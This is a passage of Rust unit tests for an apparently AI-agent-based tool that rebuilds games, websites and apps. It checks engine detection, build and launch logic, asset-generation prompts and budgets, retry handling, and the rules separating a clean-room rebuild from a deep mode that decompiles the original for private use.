std::fs::write(ue.join("Engine/Binaries/Win64").join(exe("CrashReportClient")), b"MZ").unwrap(); + for picked in [ue.join("Engine"), ue.clone()] { + assert_eq!(locate(&picked, "game"), (shipping.clone(), Some(ue.clone())), "{}", picked.display()); + } + // Inside the game's own project folder, that folder (with its Content/) is the game. + assert_eq!(locate(&ue.join("MyGame").join("Binaries"), "game"), (shipping.clone(), Some(ue.join("MyGame")))); + assert_eq!(game_root(d.path()), d.path(), "a folder that isn't inside a game stays as picked"); + assert_eq!(up.as_deref(), Some(game), "content lives above bin_win32"); + + let inv = inventory(game); + assert!(inv.contains("Maps and levels: 1 files") && inv.contains("Textures and pictures: 1 files") && inv.contains("Sounds and music: 1 files"), "{inv}"); + assert!(inv.contains("brick.jpg")); + assert!(inv.contains("Read-me and licence files: 1 files") && !inv.contains("Settings and scripts"), "{inv}"); +} + +#[test] +fn engine_stacks_get_their_own_steps_checks_and_play() { + let ed = Path::new("C:/Engines/Unity/Editor/Unity.exe"); + let unity = stack_steps("Unity", Some(ed)); + assert!(unity.contains("CraftBuild.Build") && unity.contains("Unity.exe") && unity.contains("app/Build/Game.")); + assert!(stack_steps("Godot", Some(ed)).contains("--headless --path app")); + assert!(stack_steps("Unreal Engine", Some(ed)).contains("Game.uproject")); + + let d = tempfile::tempdir().unwrap(); + let stop = CancelToken::default(); + assert_eq!(build_check(d.path(), "app/", "Unity", Some(ed), &stop), (false, "No Unity project found in app/ yet.".into())); + assert_eq!(build_check(d.path(), "app/", "Godot", Some(ed), &stop), (false, "No Godot project (project.godot) found in app/ yet.".into())); + assert!(build_check(d.path(), "app/", "Unreal Engine", Some(ed), &stop).1.contains(".uproject")); + // #174: an app edited in place is said to be in the project folder, not in an app/ that isn't there. + let none = build_check(d.path(), "the project folder", "Builder's choice", None, &stop); + assert_eq!(none, (false, "No project to build found in the project folder yet.".into())); + + // Play: a Godot project opens in Godot; a packaged Unity build runs its own program. + std::fs::write(d.path().join("project.godot"), "config_version=5").unwrap(); + let g = Path::new("C:/godot.exe"); + assert_eq!(launch(d.path(), Some(g)), Some((g.to_path_buf(), vec!["--path".into(), d.path().display().to_string()]))); + assert_eq!(launch(d.path(), None), None, "no Godot, nothing to open it with"); + std::fs::remove_file(d.path().join("project.godot")).unwrap(); + let build = d.path().join("Build"); + std::fs::create_dir_all(&build).unwrap(); + let exe = |n: &str| if cfg!(windows) { format!("{n}.exe") } else { n.to_string() }; + for n in ["Game", "UnityCrashHandler64"] { + let p = build.join(exe(n)); + std::fs::write(&p, "x").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + } + assert_eq!(launch(d.path(), None).map(|l| l.0), Some(build.join(exe("Game"))), "crash reporters aren't the game"); +} + +#[test] +fn games_hear_about_generated_assets_only_when_allowed_and_with_a_key() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Game", "A snake game", TargetRef::None).unwrap(); + ws.manifest.stack = "Unity".into(); + assert!(!brief(&ws, "game", false, false, None, true, None).contains("assets_model_generate"), "a key alone isn't the person's choice"); + ws.manifest.generate_assets = true; + let with = brief(&ws, "game", false, false, None, true, None); + assert!(with.contains("assets_model_generate") && with.contains("$5.00") && with.contains("Assets/Generated/"), "{with}"); + assert!(with.contains("never a recognisable character, logo or brand artwork")); + assert!(!brief(&ws, "game", false, false, None, false, None).contains("assets_model_generate"), "no key, no asset tools"); + assert!(!brief(&ws, "app", false, false, None, true, None).contains("assets_model_generate"), "games only"); +} + +#[test] +fn a_new_project_keeps_the_persons_asset_choice() { + let d = tempfile::tempdir().unwrap(); + let settings = craft_anything_engine::Settings::default(); + for allow in [false, true] { + let ws = project::new_project(&settings, "-", "A snake game", project::Place::In(d.path()), Some("unity"), allow, None).unwrap(); + assert_eq!(Workspace::open(&ws.root).unwrap().manifest.generate_assets, allow); + } +} + +#[test] +fn the_assets_note_reads_prices_from_the_asset_table() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "A snake game", TargetRef::None).unwrap(); + // The default picture model is Nano Banana Pro ($0.15 a picture). + let before = "Realistic assets: you can make them with fal.ai. assets_model_generate makes a textured, game-ready low-poly 3D model (GLB) of one object from a description (about $0.65 each); set faces to the fewest that still look right (about 500-1500 for small props, 2000-5000 for weapons and vehicles, 6000-15000 for main characters) so the game stays fast; assets_image_generate makes a picture (about $0.15) for textures, skies, backgrounds and menu art. This project's asset budget is $5.00 ($0.00 used), so spend it on what the player sees most (the main characters, weapons, vehicles and the level's key props) and use simple shapes for the rest. Save each one inside app/ where the engine loads it (e.g. assets/generated/). Every asset is an original design in the original's style: describe what it is, its shape, materials and colours, never a recognisable character, logo or brand artwork. List each generated file in app/CREDITS.md as made with fal.ai."; + assert_eq!(assets_note(&ws, None), before); + assert_eq!(assets_note(&ws, Some("no-such-model")), before, "an unknown model quotes the default's prices"); + let schnell = assets_note(&ws, Some("flux-schnell")); + assert!(schnell.contains("(about $0.50 each)") && schnell.contains("a picture (under $0.01)"), "{schnell}"); +} + +#[test] +fn notes_added_while_it_works_reach_the_agent_at_its_next_step() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "x", "Copy this game", TargetRef::None).unwrap(); + let (tx, rx) = std::sync::mpsc::channel(); + let notes: Arc>> = Arc::default(); + let w = Worker { + wake: Default::default(), + engine: Arc::new(Engine::new(craft_anything_engine::testing::session())), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: notes.clone(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + }; + assert!(w.added(&mut ws).is_none(), "nothing added, nothing to say"); + let note = |id, text: &str| Note { id, text: format!("{text} (pictures: a.png)"), shown: text.into() }; + notes.lock().unwrap().extend([note(1, "Make it faster"), note(2, "A blue sky")]); + let p = w.added(&mut ws).unwrap(); + assert!(p.contains("- Make it faster (pictures: a.png)\n- A blue sky"), "{p}"); + assert!(notes.lock().unwrap().is_empty(), "each note goes in once"); + // The notes join the feed as they're read, before the step that reads them. + let events: Vec = rx.try_iter().collect(); + let shown: Vec<_> = events.iter().filter_map(|e| if let RunEvent::Note(s) = e { Some(s.as_str()) } else { None }).collect(); + assert_eq!(shown, ["Make it faster", "A blue sky"]); + assert!(matches!(events.last(), Some(RunEvent::Step { text, .. }) if text == "Reading what you added…")); +} + +#[test] +fn pictures_of_the_original_reach_the_builder() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "Copy this game", TargetRef::None).unwrap(); + assert!(!brief(&ws, "game", false, false, None, false, None).contains("reference/picture")); + assert!(pictures_reminder(&ws).is_empty()); + let pic = d.path().join("shot.webp"); + std::fs::write(&pic, "x").unwrap(); + ws.add_references(&[pic]).unwrap(); + let b = brief(&ws, "game", false, false, None, false, None); + assert!(b.contains("reference/picture-1.webp") && b.contains("--screenshot"), "{b}"); + assert!(!brief(&ws, "website", false, false, None, false, None).contains("--screenshot"), "websites are photographed for it"); + assert!(pictures_reminder(&ws).contains("1 picture(s)")); +} + +#[test] +fn a_cut_off_turn_is_resumed_unless_the_person_must_act() { + for resumable in ["Claude Code took longer than 86400 s and was stopped.", "API Error: 529 overloaded", "connection reset by peer"] { + assert!(worth_retrying(resumable), "{resumable}"); + } + for needs_you in [ + "Not logged in. Please run /login", + "Your credit balance is too low", + "Claude Code is not installed", + "Invalid API key · Please run /login", + "Claude Code 2.1.81 does not support this model", + ] { + assert!(!worth_retrying(needs_you), "{needs_you}"); + } + assert_eq!(RunOptions::default().max_rounds, 6, "room to keep fixing until it works"); +} + +/// #142: a rate-limited service's own wait is followed (rounded up, capped), not a fixed one. +#[test] +fn a_services_requested_wait_is_read() { + assert_eq!(retry_after("OpenCode stopped with exit code 1: Please retry in 19.052906498s."), Some(20)); + assert_eq!(retry_after("Rate limit reached. Retry after 2 minutes"), Some(120)); + assert_eq!(retry_after("try again in 500ms"), Some(1)); + assert_eq!(retry_after("Please try again in 3h"), Some(MAX_RETRY_WAIT)); + assert_eq!(retry_after("Retry in 45 seconds"), Some(45)); + for no_wait in ["API Error: 529 overloaded", "please retry in a moment", "retry in ."] { + assert_eq!(retry_after(no_wait), None, "{no_wait}"); + } + assert!(worth_retrying("Please retry in 19.05s"), "a rate limit is waited out, not handed to the person"); +} + +#[test] +fn games_get_the_mechanics_sheet_and_decompile_only_in_deep_mode() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "Copy this game", TargetRef::Local { path: d.path().join("game.exe") }).unwrap(); + let deep = brief(&ws, "game", true, false, None, false, None); + let clean = brief(&ws, "game", false, false, None, false, None); + for b in [&deep, &clean] { + assert!(b.contains("MECHANICS.md"), "{b}"); + } + // Deep mode: 1:1 with the original's own files, for private use, never decrypting anything. + assert!(deep.contains("original game's own files") && deep.contains("Never decrypt") && deep.contains("must not be shared") && deep.contains("CREDITS.md")); + assert!(deep.contains(PRIVATE_USE_NOTE), "the README line the credits check looks for, as written"); + // It points the builder at the app's own archive tools before any outside converter. + assert!(deep.contains("enable_toolset with \"formats\"") && deep.contains("game_pak_extract") && deep.contains("game_unreal_texture_export")); + assert!(!clean.contains("game_pak_extract"), "Clean room copies no files out of the game"); + // Clean room copies none of the original's files: its own art, and it says Deep mode is needed. + assert!(clean.contains("take nothing from the original game's files") && clean.contains("Make your own simple versions"), "{clean}"); + assert!(!clean.contains("original game's own files") && !clean.contains("must not be shared") && clean.contains("needs Deep mode")); + assert!(deep.contains("native_function_pseudocode") && deep.contains("never paste decompiled code")); + assert!(clean.contains("don't open, read, list or decompile the game's files or code") && !clean.contains("decompile the program before")); + assert!(clean.contains("nothing inside the program, its files or its folder was read") && !clean.contains("core_target_open"), "{clean}"); + // Deep mode requires decompiling before estimating, and says to wait for Ghidra. + assert!(deep.contains("decompile the program before you estimate anything") && deep.contains("only after you looked for it in the code")); + // It says which decompiler it really has. + assert!(deep.contains("Ghidra isn't installed") && deep.contains("built-in decompiler")); + // Generated assets replace the original's art; its sounds and the rest still come from the game. + let mut gen_ws = ws.clone(); + gen_ws.manifest.generate_assets = true; + let generated = brief(&gen_ws, "game", true, false, None, true, None); + assert!(generated.contains("instead of copying the original's") && generated.contains("Realistic assets"), "{generated}"); + assert!(!generated.contains("Art, sounds, models") && generated.contains("Sounds, music, fonts, animations and maps"), "{generated}"); + // Clean room with generated assets: generated art, the rest its own; still nothing copied. + let generated = brief(&gen_ws, "game", false, false, None, true, None); + assert!( + generated.contains("take nothing from the original game's files") && generated.contains("with assets_model_generate and assets_image_generate"), + "{generated}" + ); + assert!(generated.contains("Realistic assets") && !generated.contains("original game's own files"), "{generated}"); + let with_ghidra = brief(&ws, "game", true, true, None, false, None); + assert!(with_ghidra.contains("reads the code with Ghidra") && with_ghidra.contains("never skip decompiling") && !with_ghidra.contains("isn't installed")); + // An app rebuilt from a program gets the same rule in Deep mode, and only then. + let app = brief(&ws, "app", true, true, None, false, None); + assert!(app.contains("decompile the program before you estimate anything") && app.contains("features the person asked for"), "{app}"); + assert!(!brief(&ws, "app", false, true, None, false, None).contains("decompile the program before")); + assert!(!clean.contains("Ghidra"), "Clean room never mentions Ghidra"); + // Without a target there is nothing to decompile or license; the sheet still helps. + let none = Workspace::create(d.path(), "Fresh", "a snake game", TargetRef::None).unwrap(); + let b = brief(&none, "game", true, true, None, false, None); + assert!(b.contains("MECHANICS.md") && !b.contains("decompile") && !b.contains("CREDITS.md")); + // Every game, the snake demo too, plays its core loop for the self-test check. + for b in [&b, &deep, &clean] { + assert!(b.contains(kinds::self_test::SELF_TEST_CONTRACT), "{b}"); + } + assert!(!brief(&ws, "app", false, false, None, false, None).contains("MECHANICS.md"), "apps get the sheet only in Deep mode"); +} + +/// What a person typed in the app when the clone came out in Vite without shadcn. +const SAID_NEXT_SHADCN: &str = "make a copy of this website, get everything right from padding, mobile responsiveness, colors. use nextjs and shadcn"; + +#[test] +fn a_named_stack_and_component_library_reach_the_builder() { + let d = tempfile::tempdir().unwrap(); + let web = TargetRef::Website { url: "https://example.com".into() }; + let mut ws = Workspace::create(d.path(), "ex", SAID_NEXT_SHADCN, web.clone()).unwrap(); + ws.manifest.stack = choose(SAID_NEXT_SHADCN, &web).1.into(); + let b = brief(&ws, "website", false, false, None, false, None); + assert!(b.contains("Use Next.js") && b.contains("output: 'export'") && b.contains("app/out") && !b.contains("Vite"), "{b}"); + assert!(b.contains("shadcn/ui components") && b.contains("npx shadcn@latest init --yes --defaults"), "{b}"); + // Without the library in the request, no shadcn; with a stack it doesn't fit, none either. + ws.manifest.request = "Clone this website in Next.js".into(); + assert!(!brief(&ws, "website", false, false, None, false, None).contains("shadcn")); + ws.manifest.request = "A tool in python with shadcn".into(); + ws.manifest.stack = "Python".into(); + assert!(!brief(&ws, "app", false, false, None, false, None).contains("shadcn@latest")); +} + +#[test] +fn prompts_carry_the_request_rules_and_measurements() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "ex", "Clone this website", TargetRef::Website { url: "https://example.com".into() }).unwrap(); + ws.manifest.stack = "React + TypeScript (Vite)".into(); + let b = brief(&ws, "website", false, false, None, false, Some("make it blue")); + assert!(b.contains("Clone this website") && b.contains("https://example.com") && b.contains("core_person_ask") && b.contains("npm run build")); + assert!(b.contains("make it blue") && b.contains("Never start dev servers")); + // A part of the request that won't fit is asked about, never dropped silently. + assert!(b.contains("before leaving it out") && b.contains("never drop it silently")); + let r = refine("website", &CheckResult { similarity: Some(71.4), ..CheckResult::new(CheckResult::WEB_VISUAL, 2, true, "1440 px: 70% alike") }); + assert!(r.contains("71% alike") && r.contains("checks/round-2/")); + assert!(follow_up("bigger title", "app").contains("build it again")); +} + +#[test] +fn needs_an_agent_app() { + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let d = tempfile::tempdir().unwrap(); + let hub = AiHub::with_stores(engine, d.path().join("settings.toml"), crate::KeyStore::file_only(d.path().join("keys.toml"))); + let ws = Workspace::create(d.path(), "x", "y", TargetRef::None).unwrap(); + let err = RebuildRun::start(&hub, ws, RunOptions::default()).err().unwrap(); + assert!(err.message.contains("coding agent"), "{}", err.message); +} + +/// A fork's own kind: recognised from its words, with its own stack and check. +struct SlidesKind; +struct OutlineCheck; + +impl Check for OutlineCheck { + fn id(&self) -> &'static str { + "outline" + } + fn run(&self, cx: &mut CheckCx) -> Result { + let ok = cx.ws.app_dir().join("slides.md").is_file(); + Ok(CheckResult::new(self.id(), cx.round, ok, if ok { "Slides found." } else { "No slides.md yet." })) + } +} + +impl TargetKind for SlidesKind { + fn id(&self) -> &'static str { + "slides" + } + fn words(&self) -> KindWords { + KindWords { button: "Open the slides", icon: "presentation", ready: "Your slides are ready", change_hint: "Ask for a change" } + } + fn detect(&self, cx: &DetectCx) -> Option { + cx.says(&[" slides", " deck"]).then_some(80) + } + fn default_stack(&self, _cx: &DetectCx) -> &'static str { + "Markdown slides" + } + fn goal(&self) -> &'static str { + "a slide deck" + } + fn checks(&self, _ws: &Workspace) -> Vec> { + vec![Box::new(OutlineCheck)] + } +} + +#[test] +fn a_registered_kind_is_chosen_from_its_words_and_brings_its_checks() { + let mut kinds = KindRegistry::built_in(); + assert_eq!(kinds.ids(), ["website", "game", "app"]); + kinds.register(Arc::new(SlidesKind)); + let (k, stack) = kinds.choose("Make slides about our product", &TargetRef::None, true).unwrap(); + assert_eq!((k.id(), stack), ("slides", "Markdown slides")); + assert_eq!(kinds.choose("Make a website about our product", &TargetRef::None, true).unwrap().0.id(), "website", "built-ins still win their own words"); + assert_eq!(kinds.choose("A notes tool", &TargetRef::None, true).unwrap().0.id(), "app", "app is still the fallback"); + // Registering the same id again replaces it. + kinds.register(Arc::new(SlidesKind)); + assert_eq!(kinds.ids(), ["website", "game", "app", "slides"]); + + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Deck", "Make slides", TargetRef::None).unwrap(); + let checks = kinds.get("slides").unwrap().checks(&ws); + assert_eq!(checks.iter().map(|c| c.id()).collect::>(), ["outline"]); + let b = super::brief(&SlidesKind, &BriefCx { ws: &ws, deep: false, ghidra: false, editor: None, assets: false, image_model: None }, None); + assert!(b.contains("What to build: a slide deck."), "{b}"); +} + +#[test] +fn the_brief_puts_the_request_before_the_default_stack() { + let d = tempfile::tempdir().unwrap(); + for (k, stack) in [("app", "Rust + egui (eframe)"), ("game", "Unity"), ("website", stacks::BUILDERS_CHOICE)] { + let mut ws = Workspace::create(d.path(), k, "A music player in Tauri", TargetRef::None).unwrap(); + ws.manifest.stack = stack.into(); + let b = brief(&ws, k, false, false, Some(Path::new("/ed/Unity")), false, None); + let at = |s: &str| b.find(s).unwrap_or_else(|| panic!("{k}: no {s:?} in {b}")); + assert!(at("Their request: \"A music player in Tauri\"") < at("How to build it, unless their request says otherwise: "), "{k}"); + assert!(b.contains("Their request comes first. When it says how to build"), "{k}"); + assert!(!b.contains("npm run build` again"), "{k}"); + } +} + +#[test] +fn an_electron_app_starts_in_its_own_electron_and_is_no_website() { + let d = tempfile::tempdir().unwrap(); + let app = d.path(); + std::fs::write(app.join("package.json"), r#"{"main": "main.js", "devDependencies": {"electron": "38", "vite": "7"}}"#).unwrap(); + std::fs::create_dir_all(app.join("dist")).unwrap(); + std::fs::write(app.join("dist/index.html"), "x").unwrap(); + assert!(site_dir(app).is_none(), "its bundled page is its window, not a site"); + assert!(launch(app, None).is_none(), "nothing to start before npm install"); + let dist = app.join("node_modules/electron/dist"); + let exe = if cfg!(windows) { + dist.join("electron.exe") + } else if cfg!(target_os = "macos") { + dist.join("Electron.app/Contents/MacOS/Electron") + } else { + dist.join("electron") + }; + std::fs::create_dir_all(exe.parent().unwrap()).unwrap(); + std::fs::write(&exe, "").unwrap(); + assert_eq!(launch(app, None), Some((exe, vec![app.display().to_string()]))); + assert_eq!(stacks::used_in(app).map(|s| s.name.as_str()), Some("Electron"), "recorded as Electron, not Vite"); + std::fs::write(app.join("package.json"), "not json").unwrap(); + assert!(launch(app, None).is_none() && site_dir(app).is_some(), "a broken package.json is no Electron app"); +} + +#[test] +fn website_kind_compares_only_when_there_is_an_original() { + let d = tempfile::tempdir().unwrap(); + let site = Workspace::create(d.path(), "Site", "Clone it", TargetRef::Website { url: "https://example.com".into() }).unwrap(); + let scratch = Workspace::create(d.path(), "Page", "A landing page", TargetRef::None).unwrap(); + let ids = |ws: &Workspace| kinds::WebsiteKind.checks(ws).iter().map(|c| c.id()).collect::>(); + assert_eq!(ids(&site), [CheckResult::WEB_VISUAL]); + assert_eq!(ids(&scratch), [CheckResult::BUILD]); +} + +#[test] +fn a_picked_game_is_rebuilt_with_its_own_engine_when_we_can() { + let d = tempfile::tempdir().unwrap(); + let game = d.path().join("Arena"); + std::fs::create_dir_all(game.join("Content").join("Paks")).unwrap(); + std::fs::write(game.join("Content").join("Paks").join("Arena-Windows.pak"), b"pak").unwrap(); + let target = TargetRef::Local { path: game.clone() }; + assert_eq!(choose("Recreate this game", &target), ("game", "Unreal Engine"), "an Unreal game is rebuilt in Unreal"); + assert_eq!(choose("Recreate this game in Godot", &target).1, "Godot", "an engine the person names still wins"); + let empty = tempfile::tempdir().unwrap(); + assert_eq!(choose("Recreate this game", &TargetRef::Local { path: empty.path().to_path_buf() }).1, "Unity", "no engine found: Unity"); +} + +#[test] +fn an_api_backend_builds_with_the_build_tools() { + use crate::agent::tests::{Scripted, turn}; + use crate::agent::{ApiConversation, EngineHost, LoopConfig, ModelSlot}; + use crate::model::{Block, StopReason}; + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Notes", "A notes app", TargetRef::None).unwrap(); + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let (tx, _rx) = std::sync::mpsc::channel(); + let mut w = Worker { + wake: Default::default(), + engine: engine.clone(), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::default(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + }; + w.attach(&ws).unwrap(); + // The model writes a file with the Build tools, then answers. + let write = Block::ToolUse { id: "w".into(), name: "build_file_write".into(), input: serde_json::json!({"path": "app/README.md", "content": "# Notes\n"}) }; + let script = Scripted { + turns: std::collections::VecDeque::from([ + turn(vec![write], StopReason::ToolUse), + turn(vec![Block::Text { text: "Built the notes app.".into() }], StopReason::EndTurn), + ]), + seen: Arc::default(), + }; + let slot = ModelSlot { name: "Scripted".into(), model: Box::new(script), local: false, effort: None, max_turns: 10 }; + let enabled = std::collections::BTreeSet::from([craft_anything_engine::Toolset::Core, craft_anything_engine::Toolset::Build]); + let mut api = ApiConversation::start_with(Arc::new(EngineHost(engine)), vec![slot], LoopConfig::default(), enabled).unwrap(); + let reply = w.turn(&mut ws, &mut api, "Build it.").unwrap(); + assert_eq!(reply.trim(), "Built the notes app."); + assert_eq!(std::fs::read_to_string(ws.app_dir().join("README.md")).unwrap(), "# Notes\n"); + assert!(ws.manifest.agent_session.is_none(), "an API loop has no session to resume"); +} + +#[test] +fn the_builder_is_an_agent_app_first_then_any_ai_backend() { + let none = crate::AiConfig::default(); + assert!(builder_backend(&none, None).unwrap_err().message.contains("API key")); +} + +#[test] +fn other_pages_of_the_same_site_are_picked_from_its_links() { + use kinds::website::{ROUTES_FILE, pick_routes, routes}; + let links = serde_json::json!({"links": [ + {"href": "https://shop.example.com/pricing", "text": "Pricing"}, + {"href": "https://shop.example.com/pricing/#plans", "text": "Plans"}, + {"href": "https://SHOP.example.com/about?ref=nav", "text": "About"}, + {"href": "https://shop.example.com/", "text": "Home"}, + {"href": "https://shop.example.com/brochure.pdf", "text": "PDF"}, + {"href": "https://other.example.com/blog", "text": "Elsewhere"}, + {"href": "mailto:hi@example.com", "text": "Mail"}, + {"href": "https://shop.example.com/docs/getting-started.html", "text": "Docs"}, + {"href": "https://shop.example.com/team", "text": "Team"}, + {"href": "https://shop.example.com/jobs", "text": "Jobs"}, + ]}); + let r = pick_routes(&links, "https://shop.example.com/", 4); + let paths: Vec<&str> = r.iter().map(|r| r.path.as_str()).collect(); + assert_eq!(paths, ["/pricing", "/about", "/docs/getting-started.html", "/team"], "same site, pages only, each once, at most 4"); + assert_eq!(r[2].slug, "docs-getting-started-html"); + assert_eq!(r[1].url, "https://shop.example.com/about"); + assert!(pick_routes(&links, "not a url", 4).is_empty()); + + // The brief mentions the other pages only when some were captured. + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Shop", "Clone it", TargetRef::Website { url: "https://shop.example.com/".into() }).unwrap(); + let cx = |ws| BriefCx { ws, deep: false, ghidra: false, editor: None, assets: false, image_model: None }; + assert!(kinds::WebsiteKind.brief_sections(&cx(&ws)).is_empty()); + std::fs::create_dir_all(ws.capture_dir()).unwrap(); + std::fs::write(ws.capture_dir().join(ROUTES_FILE), serde_json::to_vec(&r).unwrap()).unwrap(); + assert_eq!(routes(&ws).len(), 4); + let s = kinds::WebsiteKind.brief_sections(&cx(&ws)).join(" "); + assert!(s.contains("/pricing (capture/routes/pricing/)"), "{s}"); + + // Opened menus, pop-ups and tabs are listed when the study pictured some. + let states = ws.capture_dir().join(kinds::website::STATES_DIR); + std::fs::create_dir_all(&states).unwrap(); + let list = json!({"states": [ + {"kind": "menu", "label": "Products", "file": "state-1.png"}, + {"kind": "dialog", "label": "Sign up", "changed": ["address changed"]} + ]}); + std::fs::write(states.join("states.json"), serde_json::to_vec(&list).unwrap()).unwrap(); + let s = kinds::WebsiteKind.brief_sections(&cx(&ws)).join(" "); + assert!(s.contains("state-1.png (Products, menu)") && !s.contains("Sign up"), "only pictured states: {s}"); +} + +/// Only the mechanics check, so a test needn't build anything first. +struct SheetKind; + +impl TargetKind for SheetKind { + fn id(&self) -> &'static str { + "sheet" + } + fn words(&self) -> KindWords { + KindWords { button: "Play", icon: "play", ready: "Ready", change_hint: "Ask for a change" } + } + fn detect(&self, _cx: &DetectCx) -> Option { + None + } + fn default_stack(&self, _cx: &DetectCx) -> &'static str { + "Rust" + } + fn goal(&self) -> &'static str { + "a game" + } + fn checks(&self, _ws: &Workspace) -> Vec> { + vec![Box::new(MechanicsCheck)] + } +} + +#[test] +fn the_mechanics_sheet_is_required_and_held_against_the_code() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Arena", "Recreate this game", TargetRef::None).unwrap(); + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let (tx, _rx) = std::sync::mpsc::channel(); + let w = Worker { + wake: Default::default(), + engine, + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::default(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + }; + let check = |round| w.run_checks(&ws, &SheetKind, round).unwrap().remove(0); + + let none = check(1); + assert!(!none.passed && none.note.contains("no app/mechanics.json") && none.note.contains("\"version\": 1"), "{}", none.note); + + std::fs::create_dir_all(ws.app_dir().join("src")).unwrap(); + std::fs::write(ws.mechanics_path(), "{ not json").unwrap(); + assert!(!check(2).passed, "an unreadable sheet fails"); + + std::fs::write(ws.app_dir().join("src/main.rs"), "const WALK: f32 = 4.5;\nconst GRAVITY: f32 = -9.8;\n").unwrap(); + std::fs::write( + ws.mechanics_path(), + r#"{"version": 1, "values": [ + {"name": "walk speed", "value": 4.5, "unit": "m/s", "source": "function 0x140012a0"}, + {"name": "gravity", "value": -9.8, "estimated": true}, + {"name": "jump height", "value": 1.2, "unit": "m", "estimated": true}, + {"name": "crouch", "value": "hold"} + ]}"#, + ) + .unwrap(); + let ok = check(3); + assert!(ok.passed, "an estimate may stay out of the code: {}", ok.note); + assert!(ok.note.contains("4 values (1 with a source, 2 estimated)"), "{}", ok.note); + assert!(ok.note.contains("neither a source nor \"estimated\": crouch."), "{}", ok.note); + assert!(!ok.note.contains("aren't in the code"), "{}", ok.note); + let claimed: Vec<(&str, bool)> = ok.claims.iter().map(|c| (c.title.as_str(), c.passed)).collect(); + assert_eq!(claimed, [("walk speed (4.5) is used in the code", true)], "estimates and words make no claim"); + + // A number found in the original but not used in the code fails, and says what to do. + std::fs::write( + ws.mechanics_path(), + r#"{"version": 1, "values": [ + {"name": "walk speed", "value": 4.5, "source": "function 0x140012a0"}, + {"name": "grunt speed", "value": 290, "unit": "cm/s", "source": "pak: ENE_Spider_Grunt_Base"}, + {"name": "guard health", "value": 270, "source": "pak: ENE_Spider_Grunt_Guard"} + ]}"#, + ) + .unwrap(); + let unused = check(4); + assert!(!unused.passed, "{}", unused.note); + assert!(unused.note.contains("2 numbers from the original aren't in the code as written: grunt speed (290), guard health (270)."), "{}", unused.note); + assert!(unused.note.contains("mark it \"estimated\""), "{}", unused.note); + let failed: Vec<&str> = unused.failed_claims().map(|c| c.title.as_str()).collect(); + assert_eq!(failed, ["grunt speed (290) is used in the code", "guard health (270) is used in the code"]); +} + +#[test] +fn clean_room_studies_nothing_inside_and_deep_mode_looks() { + let d = tempfile::tempdir().unwrap(); + let game = d.path().join("Some Game"); + std::fs::create_dir_all(game.join("Game_Data")).unwrap(); + std::fs::write(game.join("Game.exe"), b"MZ").unwrap(); + std::fs::write(game.join("Game_Data/globalgamemanagers"), b"\0\0\0\0\x16\0\x002022.3.62f2\0").unwrap(); + for (deep, name) in [(false, "clean"), (true, "deep")] { + let mut ws = Workspace::create(&d.path().join("projects"), name, "Recreate this game", TargetRef::Local { path: game.clone() }).unwrap(); + let mut w = check_worker(&ws, deep); + w.study(&mut ws, kind("game").as_ref()).unwrap(); + let notes = std::fs::read_to_string(ws.capture_dir().join("README.md")).unwrap(); + let files: Vec<_> = std::fs::read_dir(ws.capture_dir()).unwrap().flatten().map(|e| e.file_name().to_string_lossy().into_owned()).collect(); + if deep { + assert!(notes.contains("# What we found") && notes.contains("Unity"), "Deep mode looks inside: {notes}"); + } else { + assert!(notes.starts_with("# Clean room") && !notes.contains("Unity") && !notes.contains("Game_Data"), "{notes}"); + assert_eq!(files, ["README.md"], "nothing else was written from the original"); + } + } +} + +#[cfg(unix)] +mod picking_up_a_build { + use super::*; + use std::os::unix::fs::PermissionsExt; + + /// A kind whose check can't run while `app/check-fails` still counts down, and a stand-in coding + /// agent that notes each prompt it gets in `prompts.txt` beside the project. + struct FlakyKind; + struct FlakyCheck; + + impl Check for FlakyCheck { + fn id(&self) -> &'static str { + "flaky" + } + fn run(&self, cx: &mut CheckCx) -> Result { + let file = cx.ws.app_dir().join("check-fails"); + let left: u32 = std::fs::read_to_string(&file).ok().and_then(|s| s.trim().parse().ok()).unwrap_or(0); + if left > 0 { + std::fs::write(&file, (left - 1).to_string()).unwrap(); + return Err(ToolError::new(ErrorCode::EngineMissing, "the WebSocket is closed")); + } + Ok(CheckResult::new(self.id(), cx.round, true, "Fine.")) + } + } + + impl TargetKind for FlakyKind { + fn id(&self) -> &'static str { + "flaky" + } + fn words(&self) -> KindWords { + KindWords { button: "Open", icon: "box", ready: "Ready", change_hint: "Ask" } + } + fn detect(&self, _cx: &DetectCx) -> Option { + Some(1000) + } + fn default_stack(&self, _cx: &DetectCx) -> &'static str { + "Anything" + } + fn goal(&self) -> &'static str { + "a thing" + } + fn checks(&self, _ws: &Workspace) -> Vec> { + vec![Box::new(FlakyCheck)] + } + } + + struct Bench { + _dir: tempfile::TempDir, + hub: AiHub, + projects: PathBuf, + prompts: PathBuf, 